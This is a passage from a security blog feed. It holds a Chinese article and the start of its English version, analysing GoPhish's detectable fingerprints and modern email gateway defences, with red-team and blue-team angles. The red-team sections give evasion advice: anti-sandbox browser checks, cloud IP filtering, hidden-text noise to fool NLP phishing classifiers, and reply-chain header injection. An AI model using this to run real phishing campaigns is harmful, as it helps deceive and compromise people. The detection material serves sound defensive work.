&lt;p&gt;GoPhish 使用 ?rid= 作为用户追踪参数。这个参数名在源码中定义为常量 RecipientParameter = “rid”，值的编码方式为 base64(sha1(email + salt))，固定 7 位字母数字字符串。&lt;/p&gt;
&lt;p&gt;红队视角：参数名应可配置（rid、id、token、code、t 等轮换使用），编码方式也需要随机化。参数值还应当与请求绑定 HMAC 签名，防止蓝队通过穷举 RID 枚举有效目标。此外，GoPhish 的 Transparency 功能（在 RID 后追加 + 号返回完整活动信息）是一个巨大的反向追踪漏洞——它允许任何人通过 URL 反向查询活动的发送时间和联系方式。&lt;/p&gt;
&lt;p&gt;蓝队视角：在流量日志中搜索 ?rid=[A-Za-z0-9+/=]{7,} 模式，结合 UA 和 Referer 头分析，可以快速发现非授权的钓鱼演练。更高级的做法是在 SEG 日志中提取所有 URL 参数中的类 RID 模式，做频率分析——异常高的 base64 编码参数请求通常是钓鱼活动的信号。&lt;/p&gt;
&lt;h4&gt;2.4 404 页面指纹&lt;/h4&gt;
&lt;p&gt;GoPhish 默认使用 Go 标准库的 http.NotFound 响应，返回内容为：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;404 page not found
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Go 标准库的 404 页面没有标题标签内的&quot;404 Not Found&quot;字样，响应体仅为纯文本，与 Nginx 或 Apache 的 HTML 格式 404 页面有显著区别。&lt;/p&gt;
&lt;p&gt;红队视角：必须覆写默认的 404 处理器，返回与目标环境一致的 404 页面。TaiGong 的实现中，renderUnknownResponse 函数返回的是完整的 Nginx 风格 HTML 页面：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;404 Not Found

404 Not Found
nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并且支持配置 UnknownRedirectURL，将无效请求直接 302 跳转到合法页面（如 Google.com），彻底消除 404 响应差异。&lt;/p&gt;
&lt;p&gt;蓝队视角：使用 Shodan、Censys 或 FOFA 等网络测绘平台，搜索返回 Go 标准库 404 页面特征的 HTTP 服务，配合端口扫描可以发现暴露在公网的钓鱼服务器。favicon.ico 的 Hash 也是一个容易被忽视的指纹点。&lt;/p&gt;
&lt;h4&gt;2.5 TLS 指纹（JA3/JA4）&lt;/h4&gt;
&lt;p&gt;这是最容易被忽视但最具杀伤力的指纹。Go 标准库 crypto/tls 生成的 ClientHello 报文有非常独特的 CipherSuite 排列顺序和 TLS 扩展字段组合。Go 1.21+ 默认的 JA3 指纹大致为：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个指纹与 Nginx（基于 OpenSSL）或 Apache 的 TLS 指纹完全不同，且在 JA3 开源指纹库（如 ja3er.com）中已被广泛标记。&lt;/p&gt;
&lt;p&gt;蓝队视角：在企业网络出口部署 Zeek 或 Suricata 被动流量分析，提取所有 TLS 握手中的 JA3/JA4 指纹。如果发现某个 IP 的 JA3 指纹匹配 Go 标准库特征，且该 IP 不在已知的 Go 服务白名单（如 Docker Hub、Google API）中，那么它极大概率是钓鱼服务器。命令示例：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;tshark -r capture.pcap -Y &apos;tls.handshake.type == 1&apos; \
 -T fields -e tls.handshake.ja3 -e ip.src
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将输出结果与已知 Go 指纹库交叉比对，即可实现不查看邮件内容、不依赖 URL 黑名单的钓鱼基础设施检测。&lt;/p&gt;
&lt;p&gt;红队视角：对抗 JA3 指纹有两种路径。一是将 TLS层交由反向代理Nginx/Caddy/Cloudflare，让 Go 应用只监听 127.0.0.1:80 的 HTTP 明文流量，TLS 握手由 OpenSSL/BoringSSL 完成，指纹特征随之变为 Nginx/Cloudflare 的标准指纹。二是使用 crypto/tls 的自定义 Config 重写 CipherSuite 顺序和扩展字段。TaiGong 的代码中使用github.com/psanford/tlsfingerprint库实时提取客户端 JA4 指纹用于反检测，而服务端 TLS 指纹则通过前置 Nginx 解决。&lt;/p&gt;
&lt;h4&gt;2.6 静态资源指纹&lt;/h4&gt;
&lt;p&gt;GoPhish 管理后台的静态资源（CSS/JS/图片）位于 static/ 目录下，文件内容随版本固定。通过计算这些文件的 Hash 值并与已知版本比对，可以精确认定 GoPhish 版本。&lt;/p&gt;
&lt;p&gt;红队视角：必须使用 go:embed 将前端资源打包进二进制，且每次构建时对静态资源内容做微小的非功能性变异（如修改 CSS 注释中的版本号、更改 JS 中的空白符），使 Hash 值无法匹配任何已知版本。&lt;/p&gt;
&lt;p&gt;蓝队视角：在 HTTP 响应中提取 /static/ 路径下的 JS/CSS 文件 Hash，与 GoPhish 各版本的已知 Hash 列表（可从 GitHub Release 或 npm pack 获取）比对。这是最精确的 GoPhish 版本判定手段。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x03 邮件安全网关的进化：从 SpamAssassin 到五层检测架构&lt;/h3&gt;
&lt;p&gt;为了理解为什么 2025 年的演练平台必须对标 APT 级别的对抗能力，有必要梳理邮件安全网关（SEG）在过去六年的技术进化路线。&lt;/p&gt;
&lt;h4&gt;3.1 传统架构（~2020）：一维检测&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;入站邮件 → SPF/DKIM/DMARC 检查 → 关键词黑名单 → SpamAssassin 评分 → 放行/隔离
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一代网关的核心是基于规则和声誉的静态检测。SpamAssassin 的贝叶斯分类器、Rspamd 的评分系统、RBL/DNSBL 黑名单——都是相对静态的手段。&lt;/p&gt;
&lt;p&gt;红队视角：只要注意基本的安全策略，使用信誉良好的域名、配好 SPF/DKIM/DMARC 记录、避免在邮件正文中出现高频黑名单关键词，就能轻松绕过。&lt;/p&gt;
&lt;h4&gt;3.2 现代架构（2024-2026）：纵深五层&lt;/h4&gt;
&lt;p&gt;2020-2021 年前后，邮件安全行业经历了重要的范式转型。Gartner 在 2021 年 10 月正式定义了 ICES（Integrated Cloud Email Security）类别，Forrester 在 2020 年 Q3 定义了 CAPES（Cloud API-Enabled Email Security）类别，标志着分析师对云原生 API 邮件安全平台这一新兴品类的追认。传统的 SEG 厂商如 Proofpoint、Mimecast、Microsoft 从未使用过&quot;单一评分模型&quot;——Microsoft Defender for Office 365/EOP 自发布之初就部署了 20 余种检测技术构成的多层保护栈，Proofpoint TAP 早在 2012 年即包含 URL 重写、沙箱和威胁情报等多层架构，Mimecast 在 2018 年通过收购 Solebit/Ataata 扩展了其检测能力。到 2025 年，一套完整的邮件安全检测架构已经演变为五层协同体系：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;入站邮件
 ├── L1 信誉层：IP/域名声誉、SPF/DKIM/DMARC 对齐校验、发件人行为画像
 ├── L2 内容层：基于 Transformer 的 NLP 语义分析、意图分类、情感检测
 ├── L3 URL 层：Headless Chrome 实时 detonation、重定向链追踪、域名年龄检查
 ├── L4 附件层：CDR（内容解除与重建）、Office 宏静态/动态分析、文件类型欺骗检测
 └── L5 行为层：用户收发习惯基线建模、异常通信模式检测（首次联系人、突发批量）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;几个关键变化值得深入分析：&lt;/p&gt;
&lt;p&gt;L2 层——NLP 语义分析。Microsoft Defender 和 Proofpoint 已部署基于 Transformer 架构的意图分类模型。这些模型不再依赖关键词匹配，而是理解邮件的语义意图：&quot;这封邮件是否在要求收件人执行某个动作（点击链接、转账、下载附件）？“传统的关键词替换（把&quot;密码&quot;换成&quot;口令”、“紧急&quot;换成&quot;加急”）对这种语义模型完全无效。&lt;/p&gt;
&lt;p&gt;红队视角：对抗 NLP 模型可以利用噪声注入混淆（noise injection obfuscation，KnowBe4 2026 年报告中使用的术语）或 Sublime Security（2026 年 5 月）所称的&quot;通过隐藏文本的间接提示注入&quot;——在邮件正文的不可见区域嵌入大量良性商务文本，稀释整体的 NLP 概率评分。这种技术并非&quot;拉低紧急请求评分&quot;（那只是模型的多信号之一），而是通过在良性上下文中淹没少量恶意信号，使分类器将整体邮件归类为正常商务沟通。需要注意的是，现代 SEG 已在预处理阶段增加了对 opacity:0、display:none、极小字体等隐藏文本的检测权重。&lt;/p&gt;
&lt;p&gt;L3 层——URL 超链接预览。不是简单地检查黑名单，而是用 Headless Chrome 实际访问 URL，等待 JavaScript 执行完毕、页面完全渲染，然后分析 DOM 结构、视觉内容、表单字段。如果你的钓鱼模板访问页对所有访问者都返回完整的钓鱼表单，它在送达目标收件箱之前就已经被安全沙箱扫描。&lt;/p&gt;
&lt;p&gt;红队视角：面向实战的平台必须嵌入反沙箱引擎——对访问者进行多维度环境检测。TaiGong 的 detections 引擎在 JS 探针（magic.js）中检测以下特征：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;navigator.webdriver 属性（Headless Chrome 标记）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;navigator.plugins 长度（沙箱通常禁用插件）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;屏幕分辨率与色深匹配（典型虚拟化环境为 1024x768）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;chrome.runtime 对象（非 Chrome 环境中加载则暴露）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;鼠标轨迹（真实用户 vs 脚本注入）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Canvas 指纹与 WebGL 渲染器字符串&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;服务端进一步做 IP 维度过滤：200+ CIDR 覆盖 AWS/Azure/GCP/tengxunyun/aliyun/Linode/OVH/Hetzner的 IP 段。超出地理围栏范围的请求直接返回 404 或伪造的重定向。&lt;/p&gt;
&lt;p&gt;L5 层——行为基线建模。First Contact Safety Tip 是 Microsoft Defender for Office 365 的内置功能，会在首次联系人的邮件顶部显示灰色信息提示横幅：“这是第一次收到该收件人邮件，请注意警惕.” 该功能旨在提高用户对陌生发件人的警觉。此外，Certitude Consulting（2024 年 8 月）曾披露该功能存在 CSS 绕过漏洞，攻击者可通过精心构造的 HTML 邮件完全隐藏该提示横幅。黄色横幅实际用于标记垃圾邮件分类结果，属于不同的安全功能。&lt;/p&gt;
&lt;p&gt;红队视角：突破 L5 检测需要回复链攻击——在邮件中注入 In-Reply-To、References、Thread-Topic 和 Thread-Index 头部，将钓鱼邮件插入目标已有的合法邮件会话中。SEG 的行为基线模型看到这封邮件&quot;属于&quot;一个已有对话，就不会触发首次联系人检测。TaiGong 的赞助版本中已实现这一技术。&lt;/p&gt;
&lt;h4&gt;3.3 2025-2026 攻击面&lt;/h4&gt;
&lt;p&gt;防守方在升级，攻击方也从未停手。&lt;/p&gt;
&lt;p&gt;SMTP Smuggling（CVE-2023-51766）。SEC Consult 研究员 Timo Longin 在 2023 年底披露了一个影响多个 SMTP 实现的协议级漏洞。攻击者利用不同 MTA（Postfix、Sendmail、Exchange Online）对 SMTP 数据结束序列 . 的解析差异，在单个 SMTP 会话中&quot;走私&quot;额外的邮件。被走私的邮件可以伪造任意发件人，且完全绕过 SPF 检查——因为从接收方 MTA 的角度看，这些邮件是从合法的源 IP 发出的。2024 年 Proofpoint 的配置不当事件进一步凸显了该漏洞的杀伤力。&lt;/p&gt;
&lt;p&gt;红队视角：在企业 MTA 尚未修补此漏洞的情况下，SMTP Smuggling 可以构造一封 SPF/DKIM/DMARC 全部&quot;通过&quot;的假官方通知邮件。&lt;/p&gt;
&lt;p&gt;SubdoMailing（Guardio Labs, 2024 年 2 月）。Guardio Labs 披露的大规模攻击活动中，攻击者系统性地扫描 MSN、VMware、McAfee 等大型组织的过期子域名 SPF/CNAME 记录，接管这些子域名后利用其良好的域名声誉发送钓鱼邮件。超过 8000 个域名和 13000 个子域名被滥用，日均发送量达 500 万封。&lt;/p&gt;
&lt;p&gt;蓝队视角：定期审计 DNS 记录中不再使用但仍在 SPF include 列表中的子域名。使用 dnsrecon 或 Sublist3r 监控域名的子域名解析状态。CT Log（Certificate Transparency）异常监控可以提前发现针对己方域名子域名的异常证书签发。&lt;/p&gt;
&lt;p&gt;Quishing（QR Code Phishing）。HP Wolf Security 2024 年和 Abnormal Security 的报告中均指出，基于 QR 码的钓鱼攻击增长 270%+。核心原因是邮件网关的 URL 扫描器无法识别嵌入图片中的 URL——攻击者将钓鱼链接编码为 QR 码嵌入邮件正文，用户用手机扫码后跳转到钓鱼页面，整个过程完全绕过了桌面端的安全控制。&lt;/p&gt;
&lt;p&gt;红队视角：将 QR 码嵌入伪造的 MFA 设备绑定或考勤打卡通知邮件中，利用移动端 URL 预览截断的特点，隐藏完整链接。&lt;/p&gt;
&lt;p&gt;蓝队视角：在邮件网关上部署 QR 码检测模块，对邮件正文中的图片进行 QR 码解码和 URL 分析。培训中明确告知员工：任何要求扫码执行操作的邮件都需要通过备用渠道确认。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x04 蓝队检测矩阵：发现组织内外部的钓鱼基础设施&lt;/h3&gt;
&lt;p&gt;作为本系列红蓝双视角的来看，很容易起一套最简单的WAF规则。&lt;/p&gt;
&lt;h4&gt;4.1 GoPhish 实例检测&lt;/h4&gt;
&lt;p&gt;经过上述六类指纹分析，可以构建一个多维度检测脚本：&lt;/p&gt;
&lt;p&gt;邮件 Header 层面：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 检查 X-Gophish 自定义 Header
grep -ri &quot;x-gophish&quot; /var/log/mail/*.log

# 检查 Message-Id 格式异常
# GoPhish 生成的 Message-Id 通常为 ，缺少域名后缀
grep -E &apos;Message-Id: &amp;#x3C;[a-f0-9-]{36}&gt;&apos; /var/log/mail/*.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;网络流量层面：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 提取所有 TLS 握手的 JA3 指纹
tshark -r capture.pcap -Y &apos;tls.handshake.type == 1&apos; \
 -T fields -e tls.handshake.ja3 -e ip.src -e ip.dst | \
 grep &quot;^771,4865-4866-4867-49195&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;URL 模式层面：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 搜索类 RID 的 URL 参数模式
grep -P &apos;\?rid=[A-Za-z0-9+/=]{7,}&apos; /var/log/nginx/access.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配合 WAF（如 ModSecurity、Naxsi）可以自动阻断带有已知钓鱼框架特征的请求。如果使用商业 WAF（Cloudflare、Akamai），其托管规则集通常已经包含 GoPhish 的指纹规则。&lt;/p&gt;
&lt;h4&gt;4.2 高级钓鱼平台检测&lt;/h4&gt;
&lt;p&gt;当攻击者消除了上述所有可见特征后，蓝队需要升级检测手段：&lt;/p&gt;
&lt;p&gt;域名年龄与注册信息。新注册（&amp;#x3C;30 天）的域名发送&quot;内部通知&quot;类邮件，是极强的可疑信号。使用 whois 或 SecurityTrails API 自动化检查邮件中链接域名的注册日期。&lt;/p&gt;
&lt;p&gt;CT Log 异常监控。监控与组织名称相似的域名证书签发，如hr-yourcompany.com、login-microsoft.com。&lt;/p&gt;
&lt;p&gt;可使用 certspotter 或 crt.sh 的 API 自动订阅。&lt;/p&gt;
&lt;p&gt;邮件认证一致性检查。具体来说：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;SPF Pass 但 Return-Path 域与 From 域不一致（Alignment Failure）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;DKIM Pass 但签名域（d=）与 From 域不一致&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;DMARC 设置为 p=quarantine 或 p=reject 的域收到声称来自该域的邮件但没有 DKIM 签名——这可能是域名被仿冒&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;SMTP 行为异常检测。同一源 IP 在短时间内向组织内大量不同收件人发送邮件，且 MAIL FROM 信封地址与 From 头地址不一致，这是批量钓鱼活动的典型信号。Zeek 的 smtp.log 可以直接提取这些字段做分析。&lt;/p&gt;
&lt;p&gt;基础设施关联分析。将一个钓鱼活动中使用的域名、IP、TLS 证书、JA3 指纹、邮件模板 Hash 等数据关联起来，形成威胁情报图。这就是 MISP 或 ThreatConnect 的用例场景。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x05 基于以上认知的工程实践：Taigong 平台的设计原点&lt;/h3&gt;
&lt;p&gt;GoPhish 是一个好工具，但它属于上一个时代。&lt;/p&gt;
&lt;p&gt;回顾六类指纹特征分析：从邮件 Header 到 TLS 握手，从 HTTP 404 页面到 JS 静态资源 Hash，任何一个未处理的特征点都可以被蓝队或网络测绘平台识别。而即使你消除了全部可见指纹，你仍然面临 GoPhish 架构层面无法解决的三大局限：单一邮件通道（无法模拟 IM/SMS/QR 多通道攻击）、无环境感知（无法区分沙箱和真实用户）、无 MFA 对抗能力（无法实现 AiTM 中继）。&lt;/p&gt;
&lt;p&gt;在 2026 年，企业 SEG 已经从单层规则引擎进化为五层纵深检测体系，NLP 语义分析、Headless Chrome 引爆、行为基线建模已经成为标配。真实 APT 组织已经在使用 SMTP Smuggling 绕过 SPF、使用 SubdoMailing 借域名声誉发信、使用 QR 码绕过 URL 检测。如果你的演练平台还在原地踏步，那它得出来的数据——“5% 的受测员工点击了链接”——根本不是真实的暴露面。&lt;/p&gt;
&lt;p&gt;正是基于以上这些认知，我们从头构建了一套新的钓鱼演练平台——Taigong（太公）。&lt;/p&gt;
&lt;p&gt;Taigong 的设计出发点是：一个面向实战环境的演练平台，必须在基础设施隐匿、内容对抗、多通道投递、反沙箱检测、MFA 对抗、数据度量六个维度上同时达到真实攻击的仿真度。它不是 GoPhish 的&quot;增强版&quot;或&quot;美化版&quot;，而是从底层架构上重新定义了钓鱼演练平台的能力边界。&lt;/p&gt;
&lt;p&gt;本系列后续文章将围绕 Taigong 的工程设计展开通过剖析一个真实平台的架构决策，带读者理解现代钓鱼攻防对抗中每一个技术选择的背后逻辑。文章会穿插 Taigong 的设计理念和技术实现，但讨论的核心始终是攻防双方的对抗思维—平台怎么设计才能让演练数据真正反映组织的安全水位。&lt;/p&gt;
&lt;p&gt;下一篇我们将深入具体的技术实现：如何搭建一套无法被识别的钓鱼基础设施——从域名选择、DNS 配置、CDN 域前置到 TLS 指纹对抗，全部来自实战环境的生产经验。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;参考资料：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;-*Microsoft Digital Defense Report 2024, https://www.microsoft.com/en-us/security/security-insider/microsoft-digital-defense-report-2024*
-*Proofpoint 2024 State of the Phish Report, https://www.proofpoint.com/us/resources/threat-reports/state-of-phish*
-*HP Wolf Security 2024 Threat Insights Report, https://threatresearch.ext.hp.com/2024-threat-insights-report/*
-*SEC Consult - SMTP Smuggling (CVE-2023-51766), https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/*
-*Guardio Labs - SubdoMailing: Thousands of Hijacked Major Brand Subdomains, https://labs.guard.io/subdomailing-thousands-of-hijacked-major-brand-subdomains-found-bombarding-users-with-millions-of-malicious-emails*
-*GoPhish v0.12.1 Source Code, https://github.com/gophish/gophish*
-*JA3 - A method for profiling SSL/TLS clients, https://github.com/salesforce/ja3*
-*JA4+ Network Fingerprinting Standard, https://github.com/FoxIO-LLC/ja4*
-*Abnormal Security - QR Code Phishing on the Rise, https://abnormalsecurity.com/blog/qr-code-phishing-attacks*
-*Guardio Labs - SubdoMailing Technical Analysis, https://labs.guard.io/*
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;系列导航&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-1-gophish-ceiling&quot;&gt;Part 1：GoPhish 的天花板&lt;/a&gt; ← 本文&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-2-opsec-infra&quot;&gt;Part 2：不可溯源的基础设施&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-3-bayes-nlp&quot;&gt;Part 3：贝叶斯与 NLP 内容对抗&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-4-rid-polymorphism&quot;&gt;Part 4：参数多态与响应伪装&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-5-qr-delivery&quot;&gt;Part 5：无链接投递与 QR 码&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-6-bec-polymorphism&quot;&gt;Part 6：BEC 3.0 与跨渠道编排&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Email Phishing Engineering · 1: GoPhish’s Ceiling</title><link>https://s4u2self.cc/blog/email-phishing-engineering-part-1-gophish-ceiling-en</link><guid isPermaLink="true">https://s4u2self.cc/blog/email-phishing-engineering-part-1-gophish-ceiling-en</guid><description>A breakdown of GoPhish’s six fingerprint classes and architectural debt, and what a 2025–2026 exercise platform must actually solve.</description><pubDate>Fri, 03 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;This article opens the &lt;strong&gt;Email Phishing Engineering&lt;/strong&gt; series. No fluff—straight into engineering practice and real adversary scenarios: why open-source phishing frameworks have hit a ceiling in 2025–2026, and which technical problems a battle-oriented exercise platform must solve.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;First published on the WeChat official account: &lt;strong&gt;Yofune Security Research&lt;/strong&gt;. Follow for more.&lt;/p&gt;
&lt;h3&gt;0x01 A Fact Everyone in the Industry Already Knows&lt;/h3&gt;
&lt;p&gt;Start with a reality most people won’t write down publicly: the vast majority of corporate phishing exercises in China are theater. Anzaixinbang’s 2025 &lt;em&gt;China Enterprise Employee Information Security Awareness Survey Report&lt;/em&gt; shows that only about 24% of Chinese enterprises have ever run a phishing exercise—and those that do are mostly compliance-driven with shallow participation. Industry outlets such as Security Internal Reference have repeatedly described current training as “formalistic” and “going through the motions.”&lt;/p&gt;
&lt;p&gt;The typical flow looks like this: the security team pulls GoPhish from GitHub, spends half a day deploying it on a cloud host, mass-sends a “your password is about to expire” template from the company domain, tallies click rates, and pastes the numbers into a quarterly PPT. Leadership nods, compliance checks the box, exercise over.&lt;/p&gt;
&lt;p&gt;The problem is that this kind of exercise sits across a chasm from real attacks.&lt;/p&gt;
&lt;p&gt;Data from the &lt;em&gt;2024 Microsoft Digital Defense Report&lt;/em&gt; makes the point clearly: over the past 12 months, AiTM (Adversary-in-the-Middle) phishing attacks grew 146%, and MFA relay has become a standard APT tactic. Proofpoint’s &lt;em&gt;2024 State of the Phish Report&lt;/em&gt; notes that 83% of surveyed organizations suffered at least one successful phishing attack in 2023, with a median direct financial loss from BEC of $50,000. HP Wolf Security’s 2024 report shows QR-code phishing (Quishing) growing more than 270% year over year.&lt;/p&gt;
&lt;p&gt;Our exercise tooling is still stuck at “blast one email and see who clicks the link.”&lt;/p&gt;
&lt;p&gt;That isn’t an exercise. That’s a lazy questionnaire.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Blue team view:&lt;/strong&gt; If your organization still exercises with “known templates + known domains + known IPs,” the resulting “click rate” has no reference value—it measures neither employee judgment against real spear-phishing nor the real effectiveness of existing security controls. Real attackers will not send mail with GoPhish’s default &lt;code&gt;X-Gophish-Contact&lt;/code&gt; header, and they will not hit your staff directly from Alibaba Cloud.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x02 Dissecting GoPhish’s Six Fingerprint Classes&lt;/h3&gt;
&lt;p&gt;Give GoPhish its due first. When Jordan Wright open-sourced the project in 2016, it filled a real gap—letting non-security practitioners stand up a phishing simulation environment quickly. A single Go binary, embedded SQLite, RESTful API: those engineering choices were right for the time.&lt;/p&gt;
&lt;p&gt;But that was a decade ago.&lt;/p&gt;
&lt;p&gt;From day one, GoPhish’s architectural positioning was “security awareness training tool.” That positioning difference produced a series of structural problems.&lt;/p&gt;
&lt;p&gt;While auditing GoPhish v0.12.1 source, we mapped six fingerprintable trait classes across the HTTP stack. Each is analyzed below with both red-team evasion and blue-team detection angles.&lt;/p&gt;
&lt;h4&gt;2.1 Custom Header Fingerprints&lt;/h4&gt;
&lt;p&gt;This is the best-known issue. GoPhish inserts two custom headers into every outbound message:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;X-Gophish-Contact: support@getgophish.com
X-Gophish-Signature:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Red team view:&lt;/strong&gt; Some community forks (e.g. evilgophish-FORK, lilloX/gophish, and Chinese-community enhanced GoPhish builds) have removed or renamed these custom headers to evade detection. Header-removal methods are documented in multiple open-source bypass guides and patch scripts (e.g. 0xQRx/Gophish_Customization).&lt;/p&gt;
&lt;p&gt;Note, however: upstream gophish/gophish latest v0.12.1 still ships both headers, and high-star forks such as kgretzky/gophish do not clearly document removing them—header removal is a targeted change in &lt;em&gt;some&lt;/em&gt; forks for detection bypass, not a universal community-fork trait. Even after deleting the headers, the Received chain may still retain Go standard-library SMTP client traits. In &lt;code&gt;mailer/mailer.go&lt;/code&gt;, GoPhish sends via the gomail library; its MIME construction and Message-Id &lt;code&gt;@&lt;/code&gt; suffix patterns are also recognizable. A more thorough approach is to use a dedicated MTA (e.g. Postfix) as the send relay so mail-header characteristics are fully determined by the MTA.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Blue team view:&lt;/strong&gt; Proofpoint, Mimecast, and Microsoft Defender for Office 365 can all be configured with custom mail-flow rules:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;condition: header_contains(&quot;X-Gophish&quot;)
action: quarantine
severity: HIGH
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Go further: write rules that check whether Message-Id matches Go gomail’s default format (UUID with no domain suffix, or a suffix inconsistent with the From domain). These rules need no threat-intel subscription—pure rule engines cover them.&lt;/p&gt;
&lt;h4&gt;2.2 Route Path Fingerprints&lt;/h4&gt;
&lt;p&gt;GoPhish’s phishing server registers several fixed paths in &lt;code&gt;controllers/route.go&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/track&lt;/code&gt; — open tracking (tracking pixel)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/report&lt;/code&gt; — report handling&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/robots.txt&lt;/code&gt; — fixed content &lt;code&gt;Disallow: /&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;static assets under &lt;code&gt;/static/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Red team view:&lt;/strong&gt; A customized platform must make routes configurable. Path names should be set dynamically via config, and &lt;code&gt;/robots.txt&lt;/code&gt; must not leak path information. A more aggressive approach drops a standalone route table entirely and dispatches everything through a wildcard &lt;code&gt;/{path:.*}&lt;/code&gt;, with business logic routing by parameters.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Blue team view:&lt;/strong&gt; At the reverse proxy or WAF layer, match known phishing-framework path patterns:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Nginx WAF rule example
location ~* ^/(track|report|static/) {
 return 403;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ModSecurity &lt;code&gt;REQUEST_FILENAME&lt;/code&gt; rules can effectively identify unmodified GoPhish instances.&lt;/p&gt;
&lt;h4&gt;2.3 Rid Parameter Fingerprints&lt;/h4&gt;
&lt;p&gt;GoPhish uses &lt;code&gt;?rid=&lt;/code&gt; as the user-tracking parameter. In source it is the constant &lt;code&gt;RecipientParameter = &quot;rid&quot;&lt;/code&gt;, with values encoded as &lt;code&gt;base64(sha1(email + salt))&lt;/code&gt;—a fixed 7-character alphanumeric string.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Red team view:&lt;/strong&gt; Parameter names should be configurable (&lt;code&gt;rid&lt;/code&gt;, &lt;code&gt;id&lt;/code&gt;, &lt;code&gt;token&lt;/code&gt;, &lt;code&gt;code&lt;/code&gt;, &lt;code&gt;t&lt;/code&gt;, etc., rotated), and encoding should be randomized. Values should also be HMAC-bound to the request so the blue team cannot enumerate valid targets by brute-forcing RIDs. Additionally, GoPhish’s Transparency feature (appending &lt;code&gt;+&lt;/code&gt; after the RID to return full campaign info) is a major reverse-tracking vulnerability—anyone can reverse-query campaign send time and contact details from the URL.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Blue team view:&lt;/strong&gt; Search traffic logs for the pattern &lt;code&gt;?rid=[A-Za-z0-9+/=]{7,}&lt;/code&gt;, combined with UA and Referer analysis, to quickly find unauthorized phishing exercises. A more advanced approach extracts RID-like patterns from all URL parameters in SEG logs and runs frequency analysis—abnormally high base64-encoded parameter request rates are often a phishing signal.&lt;/p&gt;
&lt;h4&gt;2.4 404 Page Fingerprints&lt;/h4&gt;
